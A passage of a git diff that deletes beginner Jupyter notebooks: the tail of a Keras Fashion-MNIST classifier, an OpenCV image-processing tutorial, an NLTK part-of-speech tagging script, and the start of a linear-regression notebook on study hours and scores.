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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "# Plot\n", - "df.plot(title=\"Non-normalized Data\")" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "id": "4ee6df6c", - "metadata": {}, - "outputs": [], - "source": [ - "# Make a prettier confusion matrix\n", - "make_confusion_matrix(y_true=test_label, \n", - " y_pred=y_preds,\n", - " classes=class_names,\n", - " figsize=(15, 15),\n", - " text_size=10)" - ] - }, - { - "cell_type": "code", - "execution_count": 136, - "id": "d4f101f6", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "array([[4.7992612e-06, 2.4855227e-08, 1.5907440e-11, ..., 3.6617562e-02,\n", - " 7.1868977e-05, 6.8841678e-01],\n", - " [4.1871236e-04, 4.8260463e-06, 9.3088782e-01, ..., 6.6228511e-16,\n", - " 6.8366371e-06, 1.6470109e-17],\n", - " [2.3129498e-06, 9.9999237e-01, 5.1132452e-07, ..., 2.1036415e-18,\n", - " 2.3680424e-09, 3.6928678e-09],\n", - " ...,\n", - " [9.5255889e-02, 1.0501853e-04, 3.0801611e-02, ..., 6.1092678e-06,\n", - " 6.5619534e-01, 6.6286483e-09],\n", - " [8.0526275e-05, 9.9948466e-01, 3.7468842e-05, ..., 3.7012358e-13,\n", - " 2.6109663e-07, 1.9469523e-07],\n", - " [9.5882104e-04, 6.8722802e-06, 2.0052414e-06, ..., 1.1266530e-02,\n", - " 1.5830735e-03, 4.2034051e-04]], dtype=float32)" - ] - }, - "execution_count": 136, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Make predictions with the most recent model\n", - "y_pred = model_14.predict(test_data) \n", - "y_pred" - ] - }, - { - "cell_type": "code", - "execution_count": 142, - "id": "2e78c815", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "(4, 'Coat')" - ] - }, - "execution_count": 142, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "y_pred[10].argmax(), class_names[y_pred[10].argmax()]" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "id": "9905fff5", - "metadata": {}, - "outputs": [], - "source": [] - } - ], - "metadata": { - "kernelspec": { - "display_name": "Python 3", - "language": "python", - "name": "python3" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.8.8" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} diff --git a/Add Code Here/IPYNB/Machine Learning Tutorial/openCV Tutorial.ipynb b/Add Code Here/IPYNB/Machine Learning Tutorial/openCV Tutorial.ipynb deleted file mode 100644 index d96af008f5f..00000000000 --- a/Add Code Here/IPYNB/Machine Learning Tutorial/openCV Tutorial.ipynb +++ /dev/null @@ -1,726 +0,0 @@ -{ - "cells": [ - { - "cell_type": "code", - "execution_count": 2, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Requirement already satisfied: opencv-python in c:\\users\\ankit\\anaconda3\\lib\\site-packages (4.5.3.56)\n", - "Requirement already satisfied: numpy>=1.17.3 in c:\\users\\ankit\\anaconda3\\lib\\site-packages (from opencv-python) (1.20.1)\n", - "Note: you may need to restart the kernel to use updated packages.\n" - ] - } - ], - "source": [ - "pip install opencv-python" - ] - }, - { - "cell_type": "code", - "execution_count": 3, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Requirement already satisfied: caer in c:\\users\\ankit\\anaconda3\\lib\\site-packages (1.9.8)\n", - "Requirement already satisfied: mypy in c:\\users\\ankit\\anaconda3\\lib\\site-packages (from caer) (0.910)\n", - "Requirement already satisfied: typing-extensions in c:\\users\\ankit\\anaconda3\\lib\\site-packages (from caer) (3.7.4.3)\n", - "Requirement already satisfied: opencv-contrib-python in c:\\users\\ankit\\anaconda3\\lib\\site-packages (from caer) (4.5.2.54)\n", - "Requirement already satisfied: numpy in c:\\users\\ankit\\anaconda3\\lib\\site-packages (from caer) (1.20.1)\n", - "Requirement already satisfied: mypy-extensions<0.5.0,>=0.4.3 in c:\\users\\ankit\\anaconda3\\lib\\site-packages (from mypy->caer) (0.4.3)\n", - "Requirement already satisfied: toml in c:\\users\\ankit\\anaconda3\\lib\\site-packages (from mypy->caer) (0.10.2)\n", - "Note: you may need to restart the kernel to use updated packages.\n" - ] - } - ], - "source": [ - "pip install caer " - ] - }, - { - "cell_type": "code", - "execution_count": 4, - "metadata": {}, - "outputs": [], - "source": [ - "import cv2 as cv\n", - "import pandas as pd\n", - "import numpy as np" - ] - }, - { - "cell_type": "code", - "execution_count": 5, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "-1" - ] - }, - "execution_count": 5, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "img=cv.imread(\"C:\\\\Users\\\\ankit\\\\Documents\\\\Project Files\\\\Face Detection 2 .jpg\")\n", - "cv.imshow(\"pic\",img)\n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": 6, - "metadata": {}, - "outputs": [], - "source": [ - "################ Resize ###############\n", - "def rescale_Frame(frame,scale=0.25): # scale 0.75 means scaling by 75% of actual size of video and img\n", - " width=int(frame.shape[1]*scale) # 1 for width\n", - " height=int(frame.shape[0]*scale) # 0 for height\n", - " dimension=(width,height)\n", - " return cv.resize(frame,dimension,interpolation=cv.INTER_AREA)" - ] - }, - { - "cell_type": "code", - "execution_count": 7, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "-1" - ] - }, - "execution_count": 7, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "########### resizing for img ############\n", - "resized_img=rescale_Frame(img)\n", - "cv.imshow(\"Resized\",resized_img)\n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": 8, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "-1" - ] - }, - "execution_count": 8, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "####### Blank img ##########\n", - "blank=np.zeros((500,500,3),dtype=\"uint8\") # (height,width,channel)=(500,500,3)\n", - "cv.imshow(\"blank\",blank) # unit8 is image data type\n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": 9, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "-1" - ] - }, - "execution_count": 9, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "######## colour filling #######\n", - "blank[:]=0,0,255 # (0,255,0) = for green\n", - "cv.imshow(\"green\",blank) # (0,0,255) = for red \n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": 10, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "-1" - ] - }, - "execution_count": 10, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "blank[200:300,300:400]=0,255,0\n", - "cv.imshow(\"red\",blank) # (0,0,255) = for red \n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": 11, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "-1" - ] - }, - "execution_count": 11, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "######## gray color img ######\n", - "gray=cv.cvtColor(img,cv.COLOR_BGR2GRAY)\n", - "cv.imshow(\"Gray\",gray)\n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": 12, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "-1" - ] - }, - "execution_count": 12, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "gray=cv.cvtColor(resized_img,cv.COLOR_BGR2GRAY)\n", - "cv.imshow(\"Gray\",gray)\n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": 13, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "-1" - ] - }, - "execution_count": 13, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "######### Rectangle shape #########\n", - "rect=cv.rectangle(blank,(0,0),(250,250),(0,255,0),thickness=2)\n", - "cv.imshow(\"Rectangle\",rect)\n", - "cv.waitKey(0)\n" - ] - }, - { - "cell_type": "code", - "execution_count": 14, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "-1" - ] - }, - "execution_count": 14, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "rect=cv.rectangle(blank,(0,0),(250,500),(0,255,0),thickness=2)\n", - "cv.imshow(\"Rectangle\",rect)\n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": 15, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "-1" - ] - }, - "execution_count": 15, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "####### Circle Shape #########\n", - "circ=cv.circle(blank,(blank.shape[1]//2,blank.shape[0]//2),40,(0,255,0),thickness=3)\n", - "cv.imshow(\"Circle\",circ)\n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": 16, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "-1" - ] - }, - "execution_count": 16, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "######## Blur img ########\n", - "blur=cv.GaussianBlur(resized_img,(3,3),cv.BORDER_DEFAULT)\n", - "cv.imshow(\"Blur\",blur)\n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "######### Edge Cascade ##########\n", - "canny=cv.Canny(resized_img,125,175)\n", - "cv.imshow(\"Edge Cascade\",canny)\n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "######### Dilating the img #######\n", - "dilat=cv.dilate(canny,(3,3),iterations=1)\n", - "cv.imshow(\"Dilating\",dilat)\n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "######### Eroding ######\n", - "erode=cv.erode(canny,(3,3),iterations=1)\n", - "cv.imshow(\"Eroding\",erode)\n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "####### Cropping ######\n", - "crop=resized_img[50:200,200:400]\n", - "cv.imshow(\"Cropping\",crop)\n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "############# Image Transformation ###########\n", - "# translation = moving in x and y axis\n", - "def translate(resized_img,x,y):\n", - " transMat=np.float32([[1,0,x],[0,1,y]]) # transMat= translation matrix\n", - " dimension= (resized_img.shape[1],resized_img.shape[0]) # 0 = height && 1 = weight\n", - " return cv.warpAffine(resized_img,transMat,dimension)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "trans=translate(resized_img,-100,-100) # -x = Left ,,, x = Right\n", - "cv.imshow(\"Translation\",trans) # -y = Up ,,,,, y = Down\n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "######### Rotation ########\n", - "def rotate(img,angle,rotPoint=None):\n", - " (height,width)=resized_img.shape[:2]\n", - " if rotPoint is None:\n", - " rotPoint=(width//2,height//2)\n", - " rotMat=cv.getRotationMatrix2D(rotPoint,angle,1.0)\n", - " dimension=(width,height)\n", - " return cv.warpAffine(resized_img,rotMat,dimension)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "rota=rotate(resized_img,45) \n", - "cv.imshow(\"Rotation\",rota) \n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "####### Resizing ########\n", - "resize=cv.resize(resized_img,(500,500),interpolation=cv.INTER_CUBIC)\n", - "cv.imshow(\"Resized\",resize) \n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "######### Flipping ########\n", - "flip=cv.flip(resize,0)\n", - "cv.imshow(\"Flipp\",flip)\n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "######## Contour Detection ########\n", - "contour,hierarchies=cv.findContours(canny,cv.RETR_TREE,cv.CHAIN_APPROX_NONE) # RETR_TREE = all hierarchar contour\n", - "print(f\"{len(contour)} contour(s,found:)\")" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "contour,hierarchies=cv.findContours(canny,cv.RETR_EXTERNAL,cv.CHAIN_APPROX_NONE) # RETR_EXTERNAL = only external contour\n", - "print(f\"{len(contour)} contour(s,found:)\")" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "contour,hierarchies=cv.findContours(canny,cv.RETR_LIST,cv.CHAIN_APPROX_NONE) # RETR_LIST = all countour in a lit\n", - "print(f\"{len(contour)} contour(s,found:)\")" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "contour,hierarchies=cv.findContours(canny,cv.RETR_TREE,cv.CHAIN_APPROX_SIMPLE) # CHAIN_APPROX_NONE = All contour \n", - "print(f\"{len(contour)} contour(s,found:)\") # CHAIN_APPROX_SIMPLE = Compresed contour " - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Color Spaces #\n" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "###### BGR to HSV #########\n", - "hsv = cv.cvtColor(resize,cv.COLOR_BGR2HSV)\n", - "cv.imshow(\"HSV\",hsv) \n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "###### BGR to LAB ##########\n", - "lab = cv.cvtColor(resize,cv.COLOR_BGR2LAB)\n", - "cv.imshow(\"LAB\",lab) \n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "###### BGR to RGB ########\n", - "rgb = cv.cvtColor(resize,cv.COLOR_BGR2RGB)\n", - "cv.imshow(\"RGB\",rgb) \n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "####### HSV to BGR ########\n", - "bgr = cv.cvtColor(resize,cv.COLOR_HSV2BGR)\n", - "cv.imshow(\"BGR\",bgr) \n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "########### GRAY COLOR ##########\n", - "gray=cv.cvtColor(resize,cv.COLOR_BGR2GRAY)\n", - "cv.imshow(\"Gray\",gray)\n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "cv.imshow(\"Original\",resize)\n", - "cv.imshow(\"Gray\",gray)\n", - "cv.imshow(\"HSV\",hsv)\n", - "cv.imshow(\"LAB\",lab)\n", - "cv.imshow(\"RGB\",rgb)\n", - "cv.imshow(\"BGR\",bgr) \n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Bluring #" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "####### Average Blur ##########\n", - "avg = cv.blur(resize,(3,3))\n", - "cv.imshow(\"AVG_Blur\",avg)\n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "####### Gaussian Blur ########\n", - "gauss=cv.GaussianBlur(resize,(7,7),0)\n", - "cv.imshow(\"Gaussian_Blur\",gauss)\n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "###### Median Blur ####\n", - "median=cv.medianBlur(resize,3)\n", - "cv.imshow(\"Median_Blur\",median)\n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "####### Bilateral Blur #####\n", - "bilat=cv.bilateralFilter(resize,5,15,15)\n", - "cv.imshow(\"Bilateral_Blur\",bilat)\n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Bitwise Operation #" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "rectangle=cv.rectangle(resize.copy(),(30,30),(370,370),255,-1)\n", - "cv.imshow(\"Rect\",rectangle)\n", - "cv.waitKey(0)\n" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "circle=cv.circle(resize.copy(),(200,200),200,255,-1)\n", - "cv.imshow(\"Circ\",circle)\n", - "cv.waitKey(0)\n" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "###### Bitwise AND #######\n", - "bitwise_and=cv.bitwise_and(rectangle,circle)\n", - "cv.imshow(\"\",bitwise_and)\n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "###### Bitwise OR ########\n", - "bitwise_or=cv.bitwise_or(rectangle,circle)\n", - "cv.imshow(\"\",bitwise_or)\n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "####### Bitwise NOT ########\n", - "bitwise_not=cv.bitwise_not(rectangle)\n", - "cv.imshow(\"\",bitwise_not)\n", - "cv.waitKey(0)\n", - "bitwise_not=cv.bitwise_not(circle)\n", - "cv.imshow(\"\",bitwise_not)\n", - "cv.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "######### Masking #############\n", - "blank=np.zeros(resize.shape[:2],dtype=\"uint8\")\n", - "mask=cv.circle(blank,(resize.shape[1]//2,resize.shape[0]//2),100,255,-1)\n", - "masked=cv.bitwise_and(resize,resize,mask=mask)\n", - "cv.imshow(\"\",masked)\n", - "cv.waitKey(0)" - ] - } - ], - "metadata": { - "kernelspec": { - "display_name": "Python 3", - "language": "python", - "name": "python3" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.8.8" - } - }, - "nbformat": 4, - "nbformat_minor": 4 -} diff --git a/Add Code Here/IPYNB/NLP_POS.ipnyb b/Add Code Here/IPYNB/NLP_POS.ipnyb deleted file mode 100644 index a598931a110..00000000000 --- a/Add Code Here/IPYNB/NLP_POS.ipnyb +++ /dev/null @@ -1,12 +0,0 @@ -import nltk -from nltk import word_tokenize -nltk.download('punkt') -nltk.download('averaged_perceptron_tagger') -nltk.download('tagsets') -nltk.help.upenn_tagset() - -sentence = word_tokenize("whatever the world is a great place") -nltk.pos_tag(sentence) - -sentence = word_tokenize("applicant is removed from applicant list of the job ") -nltk.pos_tag(sentence) diff --git a/Add Code Here/IPYNB/Supervised ML.ipynb b/Add Code Here/IPYNB/Supervised ML.ipynb deleted file mode 100644 index d929722a7ac..00000000000 --- a/Add Code Here/IPYNB/Supervised ML.ipynb +++ /dev/null @@ -1,1107 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "\n", - "## Prediction using Supervised ML\n" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "● Predict the percentage of an student based on the no. of study hours.
\n", - "● What will be predicted score if a student studies for 9.25 hrs/ day?" - ] - }, - { - "cell_type": "code", - "execution_count": 1, - "metadata": {}, - "outputs": [], - "source": [ - "import numpy as np\n", - "import pandas as pd\n", - "import matplotlib.pyplot as plt\n", - "import seaborn as sns" - ] - }, - { - "cell_type": "code", - "execution_count": 2, - "metadata": {}, - "outputs": [], - "source": [ - "from sklearn import model_selection\n", - "from sklearn import linear_model" - ] - }, - { - "cell_type": "code", - "execution_count": 4, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Load the data\n" - ] - }, - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
HoursScores
02.521
15.147
23.227
38.575
43.530
51.520
69.288
75.560
88.381
92.725
107.785
115.962
124.541
133.342
141.117
158.995
162.530
171.924
186.167
197.469
202.730
214.854
223.835
236.976
247.886
\n", - "
" - ], - "text/plain": [ - " Hours Scores\n", - "0 2.5 21\n", - "1 5.1 47\n", - "2 3.2 27\n", - "3 8.5 75\n", - "4 3.5 30\n", - "5 1.5 20\n", - "6 9.2 88\n", - "7 5.5 60\n", - "8 8.3 81\n", - "9 2.7 25\n", - "10 7.7 85\n", - "11 5.9 62\n", - "12 4.5 41\n", - "13 3.3 42\n", - "14 1.1 17\n", - "15 8.9 95\n", - "16 2.5 30\n", - "17 1.9 24\n", - "18 6.1 67\n", - "19 7.4 69\n", - "20 2.7 30\n", - "21 4.8 54\n", - "22 3.8 35\n", - "23 6.9 76\n", - "24 7.8 86" - ] - }, - "execution_count": 4, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df=pd.read_csv(\".\\\\dataset.csv\")\n", - "print(\"Load the data\")\n", - "df" - ] - }, - { - "cell_type": "code", - "execution_count": 5, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "(25, 2)" - ] - }, - "execution_count": 5, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.shape\n" - ] - }, - { - "cell_type": "code", - "execution_count": 6, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Index(['Hours', 'Scores'], dtype='object')" - ] - }, - "execution_count": 6, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.columns" - ] - }, - { - "cell_type": "code", - "execution_count": 7, - "metadata": {}, - "outputs": [ - { - "name": 